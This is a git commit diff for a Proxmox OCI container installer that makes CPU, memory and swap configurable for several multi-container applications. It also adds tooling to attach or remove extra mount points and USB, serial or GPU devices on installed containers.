feat(oci): Recreate for multi-container apps and CPU/memory in every advanced install

This commit is contained in:
MacRimi
2026-10-01 19:39:01 +02:00
parent d137bb3d31
commit a4cb9936a5
29 changed files with 1405 additions and 110 deletions
+8 -1
View File
@@ -120,6 +120,11 @@ MEDIA_STORAGE=$(jq -r '.media.storage // empty' "$DEPLOYMENT_FILE")
MEDIA_SIZE=$(jq -r '.media.size_gb // empty' "$DEPLOYMENT_FILE")
MEDIA_ROOT=$(jq -r '.media.host_path // empty' "$DEPLOYMENT_FILE")
TIMEZONE=$(jqr '.timezone')
APPLICATION_CORES=$(jqr '.resources.cores // 4')
APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 3072')
APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
|| die "$(translate "Invalid resources")"
ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -449,13 +454,15 @@ fi
msg_info "$(translate "Creating the container...")"
oci_create_container "$SERVER_ID" "$SERVER_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:16" \
--mp0 "$SERVER_MEDIA_MOUNT" --hostname "${STACK_NAME}-server" \
--cores 4 --memory 3072 --swap 1024 \
--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
--net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
--net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${SERVER_ADDRESS},type=veth" \
"${SERVER_DEVICE_ARGS[@]}" --unprivileged 1 --features nesting=1 --cmode console \
--onboot "$ONBOOT" --startup order=40,up=10,down=30 --tags "$TAGS" \
--description 'Immich server native OCI'
created_ids+=("$SERVER_ID")
oci_apply_extra_mounts "$SERVER_ID"
oci_apply_extra_devices "$SERVER_ID"
oci_quiet pct mount "$SERVER_ID"
SERVER_ROOT="/var/lib/lxc/${SERVER_ID}/rootfs"
+8 -1
View File
@@ -116,6 +116,11 @@ APACHE_BODY_LIMIT=$(jqr '.application.apache_body_limit')
TIMEZONE=$(jqr '.timezone')
MAINTENANCE_WINDOW=$(jqr '.maintenance_window_start_utc')
PHONE_REGION=$(jqr '.default_phone_region')
APPLICATION_CORES=$(jqr '.resources.cores // 2')
APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
|| die "$(translate "Invalid resources")"
ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -395,13 +400,15 @@ msg_ok "$(translate "Container created:") CT $CACHE_ID (Redis)"
msg_info "$(translate "Creating the container...")"
oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:8" \
--mp0 "$APPLICATION_MOUNT" --hostname "$STACK_NAME" \
--cores 2 --memory 2048 --swap 1024 \
--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
--net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
--net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
--unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
--startup order=30,up=15,down=30 --tags "$TAGS" \
--description 'Nextcloud Apache native OCI'
created_ids+=("$APPLICATION_ID")
oci_apply_extra_mounts "$APPLICATION_ID"
oci_apply_extra_devices "$APPLICATION_ID"
oci_quiet pct mount "$APPLICATION_ID"
APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"
+8 -1
View File
@@ -116,6 +116,11 @@ TRANSFER_ROOT=$(jq -r '.transfer.host_path // empty' "$DEPLOYMENT_FILE")
ADMIN_USERNAME=$(jqr '.application.admin_username')
OCR_LANGUAGE=$(jqr '.application.ocr_language')
TIMEZONE=$(jqr '.timezone')
APPLICATION_CORES=$(jqr '.resources.cores // 2')
APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
APPLICATION_SWAP=$(jqr '.resources.swap_mb // 1024')
[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
|| die "$(translate "Invalid resources")"
ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -414,13 +419,15 @@ oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS
--mp0 "${APPLICATION_STORAGE}:${DATA_SIZE},mp=/usr/src/paperless/data,backup=1" \
--mp1 "${APPLICATION_STORAGE}:${MEDIA_SIZE},mp=/usr/src/paperless/media,backup=1" \
--mp2 "$EXPORT_MOUNT" --mp3 "$CONSUME_MOUNT" --hostname "$STACK_NAME" \
--cores 2 --memory 2048 --swap 1024 \
--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
--net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
--net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
--unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
--startup order=30,up=15,down=30 --tags "$TAGS" \
--description 'Paperless-ngx native OCI'
created_ids+=("$APPLICATION_ID")
oci_apply_extra_mounts "$APPLICATION_ID"
oci_apply_extra_devices "$APPLICATION_ID"
oci_quiet pct mount "$APPLICATION_ID"
APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"
+8 -1
View File
@@ -129,6 +129,11 @@ ALLOWED_HOSTS=$(jqr '.application.allowed_hosts')
ADMIN_USERNAME=$(jqr '.application.admin_username')
ADMIN_EMAIL=$(jqr '.application.admin_email')
TIMEZONE=$(jqr '.timezone')
APPLICATION_CORES=$(jqr '.resources.cores // 2')
APPLICATION_MEMORY=$(jqr '.resources.memory_mb // 2048')
APPLICATION_SWAP=$(jqr '.resources.swap_mb // 512')
[[ $APPLICATION_CORES =~ ^[1-9][0-9]*$ && $APPLICATION_MEMORY =~ ^[1-9][0-9]*$ && $APPLICATION_SWAP =~ ^[0-9]+$ ]] \
|| die "$(translate "Invalid resources")"
ONBOOT=$(jqr '.onboot | if . then 1 else 0 end')
START_AFTER=$(jqr '.start_after_create | if . then 1 else 0 end')
FRONTEND_BRIDGE=$(jqr '.network.frontend_bridge')
@@ -392,13 +397,15 @@ msg_info "$(translate "Creating the container...")"
oci_create_container "$APPLICATION_ID" "$APPLICATION_ARCHIVE" --rootfs "${ROOTFS_STORAGE}:8" \
--mp0 "${APPLICATION_STORAGE}:${STATIC_SIZE},mp=/opt/recipes/staticfiles,backup=1" \
--mp1 "$MEDIA_MOUNT" --hostname "$STACK_NAME" \
--cores 2 --memory 2048 --swap 512 \
--cores "$APPLICATION_CORES" --memory "$APPLICATION_MEMORY" --swap "$APPLICATION_SWAP" \
--net0 "name=eth0,bridge=${FRONTEND_BRIDGE},firewall=1,host-managed=1,${FRONTEND_NET},type=veth" \
--net1 "name=eth1,bridge=${PRIVATE_BRIDGE},firewall=1,host-managed=1,ip=${APPLICATION_ADDRESS},type=veth" \
--unprivileged 1 --features nesting=1 --cmode console --onboot "$ONBOOT" \
--startup order=20,up=15,down=30 --tags "$TAGS" \
--description 'Tandoor Recipes native OCI'
created_ids+=("$APPLICATION_ID")
oci_apply_extra_mounts "$APPLICATION_ID"
oci_apply_extra_devices "$APPLICATION_ID"
oci_quiet pct mount "$APPLICATION_ID"
APPLICATION_ROOTFS="/var/lib/lxc/${APPLICATION_ID}/rootfs"
+7
View File
@@ -20,6 +20,7 @@ import contextlib
import json
import os
from pathlib import Path
import re
import subprocess
import sys
@@ -42,6 +43,12 @@ def start_mark_hook(vmid: int) -> str:
# `test`, not `[`: a bracket in the configuration reads as a snapshot section.
return (f"lxc.hook.pre-start: /bin/sh -c 'mkdir -p {LOG_DIR}; "
f"test -x {script} && {script} {int(vmid)}; exit 0'")
def is_start_mark_hook(line: str) -> bool:
"""Whether a configuration line is exactly the start hook written here."""
vmid = re.search(r" (\d+); exit 0'$", line)
return bool(vmid) and line == start_mark_hook(int(vmid[1]))
LOGROTATE = Path('/etc/logrotate.d/proxmenux-oci')
# copytruncate, because liblxc keeps the file open for as long as the
# container runs; moving it away would leave the application writing into the
+1 -3
View File
@@ -6,7 +6,6 @@ the same profile.
"""
from pathlib import Path
import hashlib
import re
import oci_console
import oci_nvidia_runtime as nv
@@ -15,8 +14,7 @@ from oci_ui import translate
def console_start_hook(value):
"""The hook ProxMenux adds to mark each start in the console log."""
vmid = re.search(r' (\d+); exit 0\'$', value)
return bool(vmid) and oci_console.start_mark_hook(int(vmid[1])) == f'lxc.hook.pre-start: {value}'
return oci_console.is_start_mark_hook(f'lxc.hook.pre-start: {value}')
def gpu_identity(inventory):
+255
View File
@@ -0,0 +1,255 @@
#!/usr/bin/env python3
"""Add or remove the extra paths and devices of one member of an installed
multi-container application, without rebuilding any of its containers."""
from __future__ import annotations
import argparse
import json
import os
from pathlib import Path
import re
import subprocess
import sys
import time
import oci_gpu_devices as gpu_devices
import oci_host_mounts as host_mounts
import oci_instance_reconcile as reconcile
import oci_instances as instances
import oci_stack_replay as replay
from oci_ui import msg_error, msg_info, msg_ok, translate
CONVERTERS = {'install_nextcloud_stack.sh': replay.nextcloud_record,
'install_paperless_stack.sh': replay.paperless_record,
'install_tandoor_stack.sh': replay.tandoor_record,
'install_immich_stack.sh': replay.immich_record}
def run(*command):
result = subprocess.run(command, capture_output=True, text=True, check=False)
if result.returncode != 0:
detail = (result.stderr or result.stdout).strip().splitlines()[-1:] or ['']
raise RuntimeError(f"{' '.join(command[:3])}: {detail[0]}")
return result.stdout
def entries(vmid, prefix):
"""The `prefix`N lines of the container configuration, in order."""
result = {}
for line in run('pct', 'config', str(vmid)).splitlines():
key, separator, value = line.partition(': ')
if separator and re.fullmatch(prefix + '[0-9]+', key):
result[key] = value
return result
def options(value):
return dict(part.split('=', 1) for part in value.split(',')[1:] if '=' in part)
def free_key(vmid, prefix):
used = entries(vmid, prefix)
return next(f'{prefix}{index}' for index in range(256) if f'{prefix}{index}' not in used)
def device_path(value):
fields = dict(part.split('=', 1) for part in value.split(',') if '=' in part)
return fields.get('path') or value.split(',', 1)[0]
def validate(vmid, changes):
"""Everything that can be refused is refused before the container stops."""
mounts = {options(value).get('mp'): (key, value) for key, value in entries(vmid, 'mp').items()}
devices = {device_path(value): key for key, value in entries(vmid, 'dev').items()}
for path in changes['remove_mounts']:
if path not in mounts:
raise ValueError(f"{translate('The path to remove is not mounted:')} {path}")
for path in changes['remove_devices']:
if path not in devices:
raise ValueError(f"{translate('The device to remove is not attached:')} {path}")
kept = [path for path in mounts if path not in changes['remove_mounts']]
for mount in changes['add_mounts']:
target = host_mounts.valid_path(mount['container_path'])
if any(target == other or target.startswith(other.rstrip('/') + '/')
or other.startswith(target.rstrip('/') + '/') for other in kept):
raise ValueError(f"{translate('The custom path overlaps another mount')}: {target}")
kept.append(target)
if mount['type'] == 'managed-volume':
if not isinstance(mount.get('size_gb'), int) or mount['size_gb'] < 1 \
or not re.fullmatch(r'[A-Za-z0-9_-]+', mount.get('source') or ''):
raise ValueError(f"{translate('Invalid volume size:')} {target}")
elif mount['type'] == 'host-bind':
host_mounts.validate_source(mount['source'], allow_missing=True)
else:
raise ValueError(f"{translate('Unsupported mount type:')} {mount['type']}")
for device in changes['add_devices']:
path = device.get('host_path')
if device.get('kind') != 'character-device' or not (
gpu_devices.gpu_path(path) or gpu_devices.peripheral_path(path)):
raise ValueError(f"{translate('Device outside the supported profiles; NVIDIA and device trees require another profile')}: {path}")
if path in devices and path not in changes['remove_devices']:
raise ValueError(f"{translate('This device is already attached')}: {path}")
gpu_devices.snapshot(path)
def apply(vmid, changes):
for mount in changes['add_mounts']:
target = mount['container_path']
if mount['type'] == 'managed-volume':
value = f"{mount['source']}:{mount['size_gb']},mp={target},backup=1"
else:
source = Path(mount['source'])
if not source.exists():
source.mkdir(parents=True, mode=0o775)
os.chown(source, 100000, 100000)
value = f"{source},mp={target},backup=0"
if mount.get('read_only'):
value += ',ro=1'
run('pct', 'set', str(vmid), '--' + free_key(vmid, 'mp'), value)
msg_ok(f"{translate('Path added:')} {target}")
for path in changes['remove_devices']:
key = next(key for key, value in entries(vmid, 'dev').items() if device_path(value) == path)
run('pct', 'set', str(vmid), '--delete', key)
msg_ok(f"{translate('Device removed:')} {path}")
for device in changes['add_devices']:
path = device['host_path']
value = (f"path={path},mode={device.get('mode', '0660')},"
f"deny-write={'1' if device.get('deny_write') else '0'},gid={os.stat(path).st_gid}")
run('pct', 'set', str(vmid), '--' + free_key(vmid, 'dev'), value)
msg_ok(f"{translate('Device added:')} {path}")
for path in changes['remove_mounts']:
key, value = next((key, value) for key, value in entries(vmid, 'mp').items()
if options(value).get('mp') == path)
source = value.split(',', 1)[0]
run('pct', 'set', str(vmid), '--delete', key)
if not source.startswith('/'):
# A detached disk would be destroyed with the container on its next
# update, so the volume of a removed path is deleted here, as confirmed.
unused = next((key for key, value in entries(vmid, 'unused').items() if value == source), None)
if unused:
run('pct', 'set', str(vmid), '--delete', unused)
msg_ok(f"{translate('Path removed:')} {path}")
def recorded_mounts(vmid):
"""The mounts of a member as its installation recorded them."""
result = []
for value in entries(vmid, 'mp').values():
source = value.split(',', 1)[0]
mount = options(value)
result.append({'container_path': mount['mp'], 'source': source,
'type': 'host-bind' if source.startswith('/') else 'managed-volume',
'backup': mount.get('backup') == '1', 'read_only': mount.get('ro') == '1',
'existing_volume': True})
return result
def register(root, vmid):
"""Record the member as it is now, the way a stack update leaves it, and
refresh the copy its main container keeps."""
record = instances.read(root, vmid)
previous = record['observed']
record['observed'] = instances.observe(vmid, record['installation_id'], previous['archive_path'],
previous['resolved_registry_digest'], previous['image'])
plan = record['deployment']
adapter = (plan.get('replay_profile') or {}).get('adapter')
if adapter in CONVERTERS:
if 'native_config' in plan:
plan['native_config'] = record['observed']['config']
if 'member_replay_projection' in plan:
plan['member_replay_projection'] = replay.normalize(record)
plan['mounts'] = recorded_mounts(vmid)
else:
converted = CONVERTERS[adapter](record)
plan['mounts'] = converted['deployment']['mounts']
plan['devices'] = converted['deployment'].get('devices', [])
# The paths an update must find are the ones mounted now.
record['template']['container_contract']['volumes'] = \
converted['template']['container_contract']['volumes']
# The stack must stay updatable with what was just changed.
CONVERTERS[adapter](record)
else:
known = {mount['container_path']: mount for mount in plan.get('mounts', [])}
plan['mounts'] = [known.get(options(value).get('mp')) or reconcile._mount(key, value, vmid)
for key, value in entries(vmid, 'mp').items()]
attached = {device_path(value): (key, value) for key, value in entries(vmid, 'dev').items()}
kept = [device for device in plan.get('devices', [])
if device.get('kind') != 'character-device' or device.get('host_path') in attached]
listed = {device.get('host_path') for device in kept}
plan['devices'] = kept + [reconcile._device(key, value) for path, (key, value) in attached.items()
if path not in listed and (gpu_devices.gpu_path(path)
or gpu_devices.peripheral_path(path))]
instances.write(instances.location(root, vmid), record)
primary_id = (record.get('stack_member') or {}).get('primary_vmid', vmid)
primary = instances.read(root, primary_id)
snapshot = instances.read(root, vmid)
snapshot.pop('stack', None)
members = primary.get('stack', {}).get('members', [])
for index, member in enumerate(members):
if member.get('vmid') == vmid:
members[index] = snapshot
instances.write(instances.location(root, primary_id), primary)
def is_running(vmid):
return 'running' in run('pct', 'status', str(vmid))
def modify(root, vmid, changes):
record = instances.read(root, vmid)
if record.get('status') != 'installed' or record.get('pending_transaction') \
or record.get('pending_stack_transaction'):
raise ValueError(translate('The container has an operation pending; finish or recover it first'))
if not (record.get('stack_member') or record.get('stack')):
raise ValueError(translate('This container is not a member of a multi-container application'))
if instances.identity(instances.command('pct', 'config', str(vmid))) != record['installation_id']:
raise ValueError(translate('The container identity does not match'))
validate(vmid, changes)
backup = instances.location(root, vmid).parent / f"config-before-recreate-{time.strftime('%Y%m%d-%H%M%S')}.conf"
backup.write_text(run('pct', 'config', str(vmid)))
backup.chmod(0o600)
running = is_running(vmid)
if running:
msg_info(translate('Stopping the container...'))
try:
run('pct', 'shutdown', str(vmid), '--timeout', '60')
except RuntimeError:
run('pct', 'stop', str(vmid))
msg_ok(translate('Container stopped'))
try:
apply(vmid, changes)
msg_info(translate('Saving the new configuration of the application...'))
register(root, vmid)
msg_ok(translate('Configuration saved'))
finally:
if running:
msg_info(translate('Starting the container...'))
run('pct', 'start', str(vmid))
msg_ok(translate('Container started'))
def main():
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument('vmid', type=int)
parser.add_argument('--changes', type=Path, required=True)
parser.add_argument('--root', type=Path, default=instances.ROOT)
args = parser.parse_args()
if os.geteuid() != 0:
parser.error(translate('Root privileges are required'))
changes = {'remove_mounts': [], 'add_mounts': [], 'remove_devices': [], 'add_devices': [],
**json.loads(args.changes.read_text())}
try:
with instances.locked(args.root):
modify(args.root, args.vmid, changes)
except BlockingIOError:
msg_error(translate('Another OCI operation is using the instance registry. Wait for it to finish.'))
return 1
except (OSError, ValueError, KeyError, RuntimeError, StopIteration, subprocess.TimeoutExpired) as error:
msg_error(f"{translate('The application could not be recreated:')} {error}")
return 1
msg_ok(translate('The application has been recreated with the new options.'))
return 0
if __name__ == '__main__':
sys.exit(main())
+51 -8
View File
@@ -7,6 +7,8 @@ import stat
import shlex
import os
import oci_console
import oci_gpu_devices
from oci_ui import translate
@@ -75,6 +77,9 @@ def immich_record(record):
path = fields.get('path')
if cuda and path and path.startswith('/dev/nvidia'):
continue
if oci_gpu_devices.peripheral_path(path):
devices.append(peripheral_device(fields))
continue
if not path or not re.fullmatch(r'/dev/dri/renderD[0-9]+', path):
raise ValueError(translate('Immich device without a validated translation'))
devices.append({'kind': 'character-device', 'host_path': path, 'container_path': path,
@@ -219,25 +224,59 @@ def adapter_prerequisites(rootfs, role, image, adapter, required):
return checked
def peripheral_device(fields):
"""A native devN entry as the device the installer attaches again."""
path = fields['path']
device = {'id': 'native-' + path.removeprefix('/dev/').replace('/', '-'), 'kind': 'character-device',
'host_path': path, 'container_path': path, 'mode': fields.get('mode', '0660'),
'deny_write': fields.get('deny-write', '0') == '1',
'gid_strategy': 'host-device-gid' if 'gid' in fields else 'none'}
if 'uid' in fields:
device['uid'] = int(fields['uid'])
return device
def translated_devices(projection):
"""The devices of a member the update keeps: USB, serial and GPU nodes.
Anything else has no translation and stops the update before it starts."""
devices = []
for item in projection['native_devices']:
fields = dict(part.split('=', 1) for part in item['value'].split(',') if '=' in part)
path = fields.get('path')
if not (oci_gpu_devices.gpu_path(path) or oci_gpu_devices.peripheral_path(path)):
raise ValueError(translate('The stack contains devices or directives without a translation'))
devices.append(peripheral_device(fields))
return devices
def with_devices(record, result):
result['deployment']['devices'] = translated_devices(normalize(record))
return result
def nextcloud_record(record):
"""Build portable desired state from evidence, without writing the registry."""
return portable_record(record, nextcloud_installer_profile(record))
return with_devices(record, portable_record(record, nextcloud_installer_profile(record)))
def paperless_record(record):
"""Translate captured Paperless state; native activation remains separate."""
return portable_record(record, paperless_installer_profile(record))
return with_devices(record, portable_record(record, paperless_installer_profile(record)))
def tandoor_record(record):
"""Project the two-member Tandoor recipe without activating replacement."""
return portable_record(record, tandoor_installer_profile(record))
return with_devices(record, portable_record(record, tandoor_installer_profile(record)))
def portable_record(record, profile):
"""Preserve data mounts and provenance without first-install preparations."""
projection = normalize(record)
saved = record['deployment'].get('member_replay_projection')
if saved is not None:
# A projection saved while the start hook was still listed carries it.
saved = dict(saved, preserved_raw_runtime=[line for line in saved.get('preserved_raw_runtime', [])
if not oci_console.is_start_mark_hook(line)])
if saved is not None and saved != projection:
raise ValueError(translate('The saved projection does not match the native evidence'))
result = copy.deepcopy(record)
@@ -297,8 +336,9 @@ def official_application_profile(record, adapter, adapted_entrypoints):
recipe = record['deployment']['rootfs_replay']
if recipe['adapter'] != adapter:
raise ValueError(translate('Stack adapter not recognized by the translator'))
if projection.get('native_devices') or projection.get('preserved_raw_runtime'):
if projection.get('preserved_raw_runtime'):
raise ValueError(translate('The stack contains devices or directives without a translation'))
translated_devices(projection)
runtime = projection['runtime']
entrypoint = runtime.get('entrypoint', '')
if not entrypoint or '\0' in entrypoint or '\n' in entrypoint:
@@ -338,8 +378,9 @@ def nextcloud_installer_profile(record):
recipe = record['deployment']['rootfs_replay']
if recipe['adapter'] != 'install_nextcloud_stack.sh':
raise ValueError(translate('This translator only supports the Nextcloud stack'))
if projection.get('native_devices') or projection.get('preserved_raw_runtime'):
if projection.get('preserved_raw_runtime'):
raise ValueError(translate('The stack contains devices or directives without a translation'))
translated_devices(projection)
runtime = projection['runtime']
entrypoint = runtime.get('entrypoint', '')
if not entrypoint or '\0' in entrypoint or '\n' in entrypoint:
@@ -563,11 +604,13 @@ def normalize(record):
preserved = {key: single(key) for key in ('arch', 'ostype', 'cmode', 'console', 'tty', 'cpuunits',
'net0', 'net1', 'startup', 'hookscript', 'features', 'tags') if key in values}
devices = [{'key': key, 'value': single(key)} for key in values if re.fullmatch(r'dev[0-9]+', key)]
# The console log line is not replayed: the installer that rebuilds the
# member sets it itself, and replaying it too would leave two of them.
# The console log line and its start hook are not replayed: the installer
# that rebuilds the member sets them itself, and replaying them too would
# leave two of each.
raw_runtime = [line for line in config.splitlines() if line.startswith('lxc.')
and line.partition(': ')[0] not in ('lxc.environment.runtime', 'lxc.init.cwd',
'lxc.signal.halt', 'lxc.console.logfile')]
'lxc.signal.halt', 'lxc.console.logfile')
and not oci_console.is_start_mark_hook(line)]
return {'schema_version': 1, 'deployment': plan, 'runtime': runtime,
'preserved_native': preserved, 'generated_files': copy.deepcopy(files),
'native_devices': devices, 'preserved_raw_runtime': raw_runtime,
+62
View File
@@ -158,6 +158,68 @@ oci_create_container() {
return "$status"
}
# The extra paths the user added to the application container of a
# multi-container application, from `.extra_mounts` of the deployment.
# Argument: VMID. A path on the host is created for the root of the container.
oci_apply_extra_mounts() {
local vmid=$1 type target source size read_only index value count=0
while IFS=$'\t' read -r type target source size read_only; do
[[ -n $type ]] || continue
[[ $target == /* && $target != *","* && $target != *[[:space:]]* ]] \
|| die "$(translate "Invalid container path:") $target"
index=0
while pct config "$vmid" | grep -q "^mp${index}:"; do index=$((index + 1)); done
if [[ $type == managed-volume ]]; then
[[ $size =~ ^[0-9]+$ && $size -ge 1 && $source != /* && $source != *","* ]] \
|| die "$(translate "Invalid volume size:") $target"
value="${source}:${size},mp=${target},backup=1"
elif [[ $type == host-bind ]]; then
[[ $source == /* && $source != *","* ]] || die "$(translate "Invalid host path:") $source"
if [[ ! -e $source ]]; then
install -d -m 0775 -o 100000 -g 100000 "$source"
oci_log "Shared directory created: $source (uid=100000 gid=100000)"
fi
[[ -d $source ]] || die "$(translate "The host bind source is not a regular file or directory:") $source"
value="${source},mp=${target},backup=0"
else
die "$(translate "Unsupported mount type:") $type"
fi
[[ $read_only == true ]] && value="${value},ro=1"
oci_quiet pct set "$vmid" "--mp${index}" "$value" \
|| die "$(translate "Could not add the mount point:") $target"
count=$((count + 1))
done < <(jq -r '.extra_mounts[]? | [.type, .container_path, .source, (.size_gb // "-"), (.read_only // false)] | @tsv' "$DEPLOYMENT_FILE")
if (( count > 0 )); then
msg_ok "$(translate "Mount points added:") $count"
fi
return 0
}
# The USB, serial or GPU nodes the user added to the application container of
# a multi-container application, from `.extra_devices` of the deployment.
# Argument: VMID. Each node keeps its path, with the group it has on the host.
oci_apply_extra_devices() {
local vmid=$1 path mode deny_write gid index count=0
while IFS=$'\t' read -r path mode deny_write; do
[[ -n $path ]] || continue
[[ $path == /dev/* && $path != *","* && $path != *[[:space:]]* && $path != *".."* ]] \
|| die "$(translate "Invalid device path:") $path"
[[ -c $path ]] || die "$(translate "The character device does not exist:") $path"
[[ $mode =~ ^0?[0-7]{3}$ ]] || die "$(translate "Invalid device mode:") $mode"
pct config "$vmid" | grep -Eq "^dev[0-9]+: (.*,)?path=${path}(,|$)" && continue
index=0
while pct config "$vmid" | grep -q "^dev${index}:"; do index=$((index + 1)); done
gid=$(stat -c '%g' "$path")
oci_quiet pct set "$vmid" "--dev${index}" "path=${path},mode=${mode},deny-write=${deny_write},gid=${gid}" \
|| die "$(translate "Could not add the device to the container:") $path"
count=$((count + 1))
done < <(jq -r '.extra_devices[]? | select(.kind == "character-device") | [.host_path, (.mode // "0660"), (if .deny_write then 1 else 0 end)] | @tsv' "$DEPLOYMENT_FILE")
if (( count > 0 )); then
msg_ok "$(translate "Devices added:") $count"
fi
return 0
}
# Last lines of the log, for the error report.
oci_log_tail() {
[[ -n $OCI_LOG && -s $OCI_LOG ]] || return 0
+15 -6
View File
@@ -12,8 +12,11 @@ MEDIA_APPS = {'sonarr','radarr','lidarr','qbittorrent','sabnzbd','bazarr','unpac
class SuiteChildUI(DefaultsUI):
"""Reuse image hardware questions without repeating the stack storage wizard."""
def __init__(self, ui, profile):
def __init__(self, ui, profile, label=''):
self.ui = ui
self.label = label
# Each application of the suite asks its own CPU and memory.
self.resources = {translate('CPU cores'), translate('Memory in MB')}
self.prompts = set()
def visit(value):
if isinstance(value, dict):
@@ -28,6 +31,8 @@ class SuiteChildUI(DefaultsUI):
visit(profile)
def ask(self, text, default=None, required=True):
if text in self.resources:
return self.ui.ask(f"{self.label}: {text}", default, required)
return self.ui.ask(text,default,required) if text in self.prompts else super().ask(text,default,required)
def choose(self, text, options, default=None):
@@ -56,12 +61,16 @@ def build_suite(template, ui, mode='advanced'):
raise StackError(translate('Select at least one suite application'))
if 'unpackerr' in selected and not set(selected) & {'sonarr','radarr','lidarr'}:
raise StackError(translate('Unpackerr requires Sonarr, Radarr or Lidarr in this suite'))
name = _hostname_default(ui.ask(translate('Stack name'), 'suite-arr'))
base = ui.ask(translate('Base VMID (empty = next free block)'), '', required=False)
# A default installation takes the name, the VMID and the timezone from the
# recipe; it still asks the storage, the addresses and how the suite starts.
quiet = DefaultsUI() if mode == DEFAULT_MODE else ui
name = _hostname_default(quiet.ask(translate('Stack name'), 'suite-arr'))
base = quiet.ask(translate('Base VMID (empty = next free block)'), '', required=False)
from . import host
from . import network as access
from .installer import ask_bridge, ask_storage
storage = ask_storage(ui, translate('Storage for rootfs and private configuration'), 'rootdir', 'local-lvm', mode)
storage = ask_storage(ui, translate('Storage for the containers and their data') if mode == DEFAULT_MODE
else translate('Storage for rootfs and private configuration'), 'rootdir', 'local-lvm')
cache = ask_storage(ui, translate('Storage for the OCI image cache'), 'vztmpl', 'local', mode)
shared = ui.ask(translate('Shared host media directory'), '/mnt/oci-shared/media') if set(selected) & MEDIA_APPS else None
if shared and (not shared.startswith('/') or shared == '/' or '..' in shared.split('/') or any(c in shared for c in ',\n\r')):
@@ -79,7 +88,7 @@ def build_suite(template, ui, mode='advanced'):
reachable = [app for app in selected if app != 'unpackerr']
labels, gateway = access.ask_addresses(ui, bridge, [app.capitalize() for app in reachable])
addresses = dict(zip(reachable, labels.values()))
timezone = ui.ask(translate('Timezone'), host.timezone())
timezone = quiet.ask(translate('Timezone'), host.timezone())
services = []
credentials = None
if 'qbittorrent' in selected:
@@ -93,7 +102,7 @@ def build_suite(template, ui, mode='advanced'):
if not child['compatibility']['automatic_install_candidate']:
raise StackError(f"{app}: {translate('individual template is blocked')}")
child_ui = (DefaultsUI() if mode == DEFAULT_MODE else
SuiteChildUI(ui, child['proxmox'].get('installer_profile', {})))
SuiteChildUI(ui, child['proxmox'].get('installer_profile', {}), app))
plan = build_deployment(copy.deepcopy(child), child_ui, mode)
plan.update(hostname=_hostname_default(name+'-'+app), start_after_create=False, template_storage=cache)
plan['rootfs']['storage'] = storage
+12
View File
@@ -267,6 +267,18 @@ def _deployment_summary_text(template: dict[str, Any], deployment: dict[str, Any
row(translate(label), f"{translate('host directory')} {storage.get('host_path', '-')}")
else:
row(translate(label), f"{storage.get('size_gb', '-')} GB {on} {storage.get('storage', '-')}")
if isinstance(plan.get("resources"), dict):
row(translate("Resources"), f"{plan['resources']['cores']} CPU, {plan['resources']['memory_mb']} MB RAM")
if plan.get("extra_mounts"):
lines.append(f"{translate('Extra paths') + ':':<16}")
for mount in plan["extra_mounts"]:
target = (f"{translate('host directory')} {mount['source']}" if mount["type"] == "host-bind"
else f"{translate('Container volume')} {mount.get('size_gb', '-')} GB {on} {mount['source']}")
if mount.get("read_only"):
target += f" ({translate('read-only')})"
lines.append(f" {mount['container_path']} → {target}")
if plan.get("extra_devices"):
row(translate("Devices"), ", ".join(device["host_path"] for device in plan["extra_devices"]))
else:
row(translate("Container"), f"CT {plan.get('vmid') or translate('next free')} · {plan.get('hostname', '-')}")
+3 -3
View File
@@ -28,15 +28,15 @@ def choose_usb_device(ui, title, default=None, attached=()):
return ui.ask(manual_prompt, default or '/dev/ttyACM0') if selected == 'manual' else selected
